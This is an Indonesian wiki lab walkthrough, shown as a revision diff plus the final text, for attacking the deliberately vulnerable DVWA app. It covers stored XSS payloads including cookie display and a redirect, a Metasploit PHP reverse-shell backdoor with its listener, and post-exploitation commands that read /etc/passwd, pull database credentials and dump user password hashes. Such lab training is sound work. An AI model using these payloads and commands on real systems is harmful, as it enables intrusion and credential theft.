DVWA: XSS: Difference between revisions

From OnnoCenterWiki
Jump to navigationJump to search
Onnowpurbo (talk | contribs)
Onnowpurbo (talk | contribs)
 
(10 intermediate revisions by the same user not shown)
Line 74: Line 74:
* Reset Database DVWA, supaya XSS yang pernah dilakukan tidak muncul lagi.
* Reset Database DVWA, supaya XSS yang pernah dilakukan tidak muncul lagi.
* Klik > XSS (Stored)
* Klik > XSS (Stored)
* Pada Nama isi "Test 3"
* Nama > "Test 3"
* Pada Message isi "<script>alert(document.cookie)</script>"
* Message > "<script>alert(document.cookie)</script>"
* Klik > Sign Guestbook
* Klik > Sign Guestbook


 
Akibatnya cookie/session yang digunakan untuk hubungan komunikasi dengan webserver dapat diambil.
    Below is the cookie/session that the webserver establishes with the current browser session.
Attacker dapat memodifikasi XSS script ini untuk mengirimkan cookie ke lokasi remote, bukan menampilkannya.
    An attacker could easily modify this XSS script to send the cookie to a remote location instead of displaying it.
Bayangkan jika ini sebuah situs bank online, setiap kali user login & informasi cookie dikirim ke lokasi remote untuk di manfaatkan.
    Image if this was a bank website. Every time a user logs in their cookie information could be sent to a remote location.
 


==Build PHP msfpayload==
==Build PHP msfpayload==


Membuat PHP backdoor


    mkdir -p /root/backdoor
mkdir -p /root/backdoor
    cd /root/backdoor
cd /root/backdoor
    msfpayload php/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=4444 R > FORUM_BUG.php
msfpayload php/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=4444 R > FORUM_BUG.php
    ls -l FORUM_BUG.php
ls -l FORUM_BUG.php
 


    Select "Upload" from the left navigation menu.
Pilih "Upload" di menu navigasi di bagian kiri DVWA.
    Click Browse


Start msfconsole
===Start msfconsole===


Jalankan


        msfconsole
msfconsole


use exploit/multi/handler
Exploit
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.1.105
set LPORT 4444
exploit


use exploit/multi/handler
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.1.105
set LPORT 4444
exploit


==XSS Stored window.location Exploit Test==
==XSS Stored window.location Exploit Test==
Line 112: Line 111:
* Reset Database DVWA, supaya XSS yang pernah dilakukan tidak muncul lagi.
* Reset Database DVWA, supaya XSS yang pernah dilakukan tidak muncul lagi.
* Klik > XSS (Stored)
* Klik > XSS (Stored)
Name: Test 4
* Name > "Test 4"
Message:
* Message > "<script>window.location="http://192.168.0.100/DVWA-1.9/hackable/uploads/FORUM_BUG.php" </script>"
 
Ubah 192.168.0.100 dengan IP DVWA anda.
 
* Klik > Sign Guestbook
* Klik OK saat Test 1 Message di tampilkan.
 
Beberapa perintah yang menarik
 
shell
    membuka shell "sh"
 
tail /etc/passwd
    melihat username yang ada di mesin sasaran untuk ssh brute force attack.
 
whoami
    display nama user.
 
grep apache /etc/passwd
    memperoleh home directory dari username apache.


    <script>window.location="http://192.168.0.100/DVWA-1.9/hackable/uploads/FORUM_BUG.php" </script>
find /var/www/* -print | grep config
        Replace 192.168.1.106 with the IP Address obtain from Fedora 14 in (Section 3, Step 3).
    mencari semua file konfigurasi di directory /var/www


Click Sign Guestbook
grep "db_" /var/www/html/dvwa/config/config.inc.php
Click OK when the Test 1 Message is displayed
    melihat informasi nama database, username, dan password untuk akses ke database mysql.


shell
echo "use dvwa; show tables;" | mysql -uroot -p123456
    melihat daftar tabel dari dvwa database


    Establishes a "sh" shell.
echo "use dvwa; desc users;" | mysql -uroot -p123456
    melihat kolom yang ada di tabel users di database dvwa.


tail /etc/passwd
echo "select user,password from dvwa.users;" | mysql -uroot -p123456
    melihat informasi user dan password untuk setiap user yang ada di tabel dvwa.users


    This produces a potential prospect list for a ssh brute force attack
===Bukti===


    whoami
echo "< pre >" >> /var/www/html/dvwa/hackable/uploads/xss.html
        Displays the name of the user.
     letakan html < pre > tag di file xss.html
     grep apache /etc/passwd
     < pre > digunakan untuk pre-formatter.
        The goal of this command is obtaining the home directory for the apache username.
     find /var/www/* -print | grep config
        Here I am wanting to find all the configuration files in the /var/www directory.


echo "select user,password from dvwa.users;" | mysql -uroot -p123456 >> /var/www/html/dvwa/hackable/uploads/xss.html
    letakan user dan password untuk tabel dvwa.users di file the xss.html


echo "< /pre >" >> /var/www/html/dvwa/hackable/uploads/xss.html
    letakan < /pre > tag di file xss.html


    grep "db_" /var/www/html/dvwa/config/config.inc.php
echo "< br >Your Name< br >" >> /var/www/html/dvwa/hackable/uploads/xss.html
        This produces the database name, username, and password information to log into the mysql database.
     letakan string "Your Name" dengan naman anda sebenarnya
    echo "use dvwa; show tables;" | mysql -uroot -p123456
        This command produces a table list of the dvwa database.
    echo "use dvwa; desc users;" | mysql -uroot -p123456
        This command describes the columns of the users table in the dvwa datase.
     echo "select user,password from dvwa.users;" | mysql -uroot -p123456
        This command displays the user and password information for each user in the dvwa.users table.


date >> /var/www/html/dvwa/hackable/uploads/xss.html


    echo "<pre>" >> /var/www/html/dvwa/hackable/uploads/xss.html
Pastikan < pre > , < /pre >, < br >, < /br > dibuang spasinya.
        Place the html <pre> tag in the xss.html file.
        The <pre> is used as a pre-formatter.
    echo "select user,password from dvwa.users;" | mysql -uroot -p123456 >> /var/www/html/dvwa/hackable/uploads/xss.html
        Place user and password for the dvwa.users table in the xss.html file.
    echo "</pre>" >> /var/www/html/dvwa/hackable/uploads/xss.html
        Place the close html </pre> tag in the xss.html file.
    echo "<br>Your Name<br>" >> /var/www/html/dvwa/hackable/uploads/xss.html
        Replace the string "Your Name" with your actual name.
    date >> /var/www/html/dvwa/hackable/uploads/xss.html


===Di Kali Linux===


Web dengan alamat


http://192.168.0.100/DVWA-1.9/hackable/uploads/xss.html


    On BackTrack, place the below URI in Firefox
IP 192.168.0.100 di ganti dengan IP DVWA server
        http://192.168.0.100/DVWA-1.9/hackable/uploads/xss.html
            Replace the above IP address with the IP Address obtained in (Section 3, Step 3).


==Referensi==
==Referensi==


* http://www.computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson9/index.html
* http://www.computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson9/index.html

Latest revision as of 23:24, 28 May 2017

sumber: http://www.computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson9/index.html

Tujuan

  • Test a basic cross site scripting (XSS) attack
  • Test an iframe cross site scripting (XSS) attack
  • Test a cookie cross site scripting (XSS) attack
  • Create a php/meterpreter/reverse_tcp payload
  • Start the php/meterpreter/reverse_tcp listener
  • Upload the PHP payload to the DVWA Upload screen
  • Test a PHP Payload cross site scripting (XSS) attack


Di sisi DVWA

Cek IP

ifconfig


Fix Stored Cross Site Scripting (XSS) Comment Box

Edit index.php

cd /var/www/html/DVWA-1.9/vulnerabilities/xss_s/
vi index.php

Search dengan keyword mtxMessage Ubah maxlength=50

<textarea name=\"mtxMessage\" cols=\"50\" rows=\"3\" maxlength=\"50\"></textarea>

menjadi maxlength=250

<textarea name=\"mtxMessage\" cols=\"50\" rows=\"3\" maxlength=\"250\"></textarea>

Di sisi Kali Linux

Cek IP Kali Linux

ifconfig -a

Enable Javascript di Browser

Buka Firefox
Preferences > Content > Uncheck - Block pop-up windows

Masuk ke DVWA

  • Login
  • DVWA Security > Low

XSS Stored Basic Exploit Test

  • Klik > XSS (Stored)
  • Name > "Test 1"
  • Message > "<script>alert("This is a XSS Exploit Test")</script>"
  • Klik > Sign Guestbook

XSS Stored IFRAME Exploit Test

  • Reset Database DVWA, supaya XSS yang pernah dilakukan tidak muncul lagi.
  • Klik > XSS (Stored)
  • Nama > "Test 2"
  • Message > "<iframe src="http://www.cnn.com"></iframe>"
  • Klik > Sign Guestbook

Tampak bahwa CNN muncul di bawah "Test 2" . Teknik ini menjadi exploit yang sangat powerful yang dapat digunakan dalam Social Engineering Toolkit (SET) untuk cloning web.

  • Reset Database DVWA, supaya XSS yang pernah dilakukan tidak muncul lagi.
  • Klik > XSS (Stored)
  • Nama > "Test 3"
  • Message > "<script>alert(document.cookie)</script>"
  • Klik > Sign Guestbook

Akibatnya cookie/session yang digunakan untuk hubungan komunikasi dengan webserver dapat diambil. Attacker dapat memodifikasi XSS script ini untuk mengirimkan cookie ke lokasi remote, bukan menampilkannya. Bayangkan jika ini sebuah situs bank online, setiap kali user login & informasi cookie dikirim ke lokasi remote untuk di manfaatkan.

Build PHP msfpayload

Membuat PHP backdoor

mkdir -p /root/backdoor
cd /root/backdoor
msfpayload php/meterpreter/reverse_tcp LHOST=192.168.1.105 LPORT=4444 R > FORUM_BUG.php
ls -l FORUM_BUG.php

Pilih "Upload" di menu navigasi di bagian kiri DVWA.

Start msfconsole

Jalankan

msfconsole

Exploit

use exploit/multi/handler
set PAYLOAD php/meterpreter/reverse_tcp
set LHOST 192.168.1.105
set LPORT 4444
exploit

XSS Stored window.location Exploit Test

Ubah 192.168.0.100 dengan IP DVWA anda.

  • Klik > Sign Guestbook
  • Klik OK saat Test 1 Message di tampilkan.

Beberapa perintah yang menarik

shell
   membuka shell "sh"
tail /etc/passwd
   melihat username yang ada di mesin sasaran untuk ssh brute force attack.
whoami
   display nama user.
grep apache /etc/passwd
   memperoleh home directory dari username apache.
find /var/www/* -print | grep config
   mencari semua file konfigurasi di directory /var/www
grep "db_" /var/www/html/dvwa/config/config.inc.php
   melihat informasi nama database, username, dan password untuk akses ke database mysql.
echo "use dvwa; show tables;" | mysql -uroot -p123456
   melihat daftar tabel dari dvwa database
echo "use dvwa; desc users;" | mysql -uroot -p123456
   melihat kolom yang ada di tabel users di database dvwa.
echo "select user,password from dvwa.users;" | mysql -uroot -p123456
   melihat informasi user dan password untuk setiap user yang ada di tabel dvwa.users

Bukti

echo "< pre >" >> /var/www/html/dvwa/hackable/uploads/xss.html
   letakan html < pre > tag di file xss.html
   < pre > digunakan untuk pre-formatter.
echo "select user,password from dvwa.users;" | mysql -uroot -p123456 >> /var/www/html/dvwa/hackable/uploads/xss.html
   letakan user dan password untuk tabel dvwa.users di file the xss.html
echo "< /pre >" >> /var/www/html/dvwa/hackable/uploads/xss.html
   letakan < /pre > tag di file xss.html
echo "< br >Your Name< br >" >> /var/www/html/dvwa/hackable/uploads/xss.html
   letakan string "Your Name" dengan naman anda sebenarnya
date >> /var/www/html/dvwa/hackable/uploads/xss.html

Pastikan < pre > , < /pre >, < br >, < /br > dibuang spasinya.

Di Kali Linux

Web dengan alamat

http://192.168.0.100/DVWA-1.9/hackable/uploads/xss.html

IP 192.168.0.100 di ganti dengan IP DVWA server

Referensi